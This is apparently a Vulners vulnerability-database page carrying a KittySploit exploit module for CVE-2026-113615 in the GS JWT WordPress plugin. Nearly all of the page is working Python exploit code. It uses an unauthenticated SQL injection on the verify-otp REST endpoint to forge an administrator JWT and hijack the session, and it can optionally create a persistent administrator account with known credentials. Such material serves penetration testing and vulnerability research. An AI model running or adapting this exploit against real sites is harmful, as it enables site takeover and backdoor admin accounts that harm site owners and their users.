Lucene search
+L

GS JWT CVE-2026-113615 SQLi Admin JWT

🗓️ 08 Nov 2026 10:08:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 16 Views

Unauthenticated SQLi in GS JWT POST /wp-json/gs-jwt/v1/verify-otp forges admin JWT.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""CVE-2026-113615 GS JWT WordPress plugin SQLi to administrator session."""

from __future__ import annotations

import secrets

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.wordpress import Wordpress
from lib.scanner.http.gs_jwt_wp import forge_gs_jwt_token, verify_gs_jwt_admin


class Module(Exploit, Http_client, Wordpress, Handler):
    __info__ = {
        "name": "GS JWT CVE-2026-113615 SQLi Admin JWT",
        "description": (
            "CVE-2026-113615: SQL injection on POST /wp-json/gs-jwt/v1/verify-otp forges a "
            "server-signed JWT. Registers an HTTP session with Authorization Bearer. "
            "Optional create_admin=true adds a persistent administrator via REST."
        ),
        "author": ["thiscitze", "KittySploit Team"],
        "cve": ["CVE-2026-113615"],
        "platform": Platform.PHP,
        "payload": {"default": "nopayload"},
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-113615",
            "https://github.com/thiscitze/cve-2026-113615-poc",
        ],
        "tags": ["wordpress", "gs-jwt", "sqli", "jwt", "unauthenticated", "cve-2026-113615"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "account_creation"],
            "expected_requests": 5,
            "approval_required": True,
            "produces": ["credentials", "exploit_paths", "shell"],
            "requires": {"tech_hints_any": ["wordpress"]},
            "chain": {
                "suggested_followups": [
                    "scanner/http/gs_jwt_cve_2026_113615_detect",
                    "post/shell/multi/gather/privesc_suggester",
                ],
            },
        },
    }

    forge_uid = OptInteger(1, "WordPress user id to target in UNION SELECT", required=False)
    create_admin = OptBool(
        False,
        "Create a new administrator with known password using forged JWT",
        required=True,
    )
    new_username = OptString("gsjwt_kitty", "Username when create_admin=true", required=False)
    new_password = OptString("", "Password when create_admin=true (random if empty)", required=False)
    new_email = OptString("[email protected]", "Email when create_admin=true", required=False, advanced=True)

    def _wp_path(self, route: str) -> str:
        base = self.wp_normalize_base_path(getattr(self, "path", "/"))
        route = route if route.startswith("/") else f"/{route}"
        if route.startswith("/wp-json"):
            return f"{base}{route}" if base != "/" else route
        return f"{base}/wp-json{route}"

    def check(self):
        uid = int(self.forge_uid or 1)
        token = self._forge_token(uid)
        if not token:
            return {"vulnerable": False, "reason": "JWT forge failed", "confidence": "medium"}
        ok, profile = self._verify_token(token)
        if ok:
            return {
                "vulnerable": True,
                "reason": "Administrator JWT forged",
                "confidence": "high",
                "username": profile.get("name") or profile.get("slug"),
            }
        return {"vulnerable": False, "reason": "Token not administrator", "confidence": "medium"}

    def _forge_token(self, uid: int) -> str:
        def _post(route, payload):
            return self.http_request(
                method="POST",
                path=self._wp_path(route),
                json=payload,
                headers={"Content-Type": "application/json"},
                timeout=20,
            )

        return forge_gs_jwt_token(lambda r, p: _post(r, p), uid=uid).get("token") or ""

    def _verify_token(self, token: str):
        def _get(route, headers=None):
            return self.http_request(method="GET", path=self._wp_path(route), headers=headers or {}, timeout=15)

        return verify_gs_jwt_admin(lambda r, headers=None: _get(r, headers=headers), token)

    def run(self):
        uid = int(self.forge_uid or 1)
        token = self._forge_token(uid)
        if not token:
            print_error("Could not forge JWT — plugin missing, patched, or blocked")
            self.not_vulnerable()
            return False

        ok, profile = self._verify_token(token)
        if not ok:
            print_error("Forged JWT is not an administrator — try another forge_uid")
            self.not_vulnerable()
            return False

        print_success(f"Administrator JWT for uid {uid}")
        self.session.headers["Authorization"] = f"Bearer {token}"

        created_user = ""
        created_pass = ""
        if self.create_admin:
            created_user = str(self.new_username or "gsjwt_kitty").strip()
            created_pass = str(self.new_password or "").strip() or secrets.token_urlsafe(12)
            email = str(self.new_email or "[email protected]")
            response = self.http_request(
                method="POST",
                path=self._wp_path("/wp/v2/users"),
                json={
                    "username": created_user,
                    "password": created_pass,
                    "email": email,
                    "roles": ["administrator"],
                },
                headers={"Authorization": f"Bearer {token}", "Content-Type": "application/json"},
                timeout=20,
            )
            if response and int(response.status_code or 0) in (200, 201):
                print_success(f"Created administrator {created_user} / {created_pass}")
            else:
                code = int(getattr(response, "status_code", 0) or 0)
                print_warning(f"User create failed (HTTP {code}) — JWT session still valid")

        session_id = self.handler_http(
            self.session,
            additional_data={
                "cve": "CVE-2026-113615",
                "bearer_token": token[:48] + "...",
                "forge_uid": uid,
            },
        )
        self.set_info(
            severity="critical",
            cve="CVE-2026-113615",
            reason="GS JWT SQLi administrator session",
            forge_uid=uid,
            profile=profile.get("slug") or profile.get("name"),
            username=created_user or profile.get("slug"),
            password=created_pass or "",
            session_id=session_id,
        )
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Nov 2026 10:08Current
6Medium risk
Vulners AI Score6
CVSS 3.19.8
EPSS0.00533
SSVC
16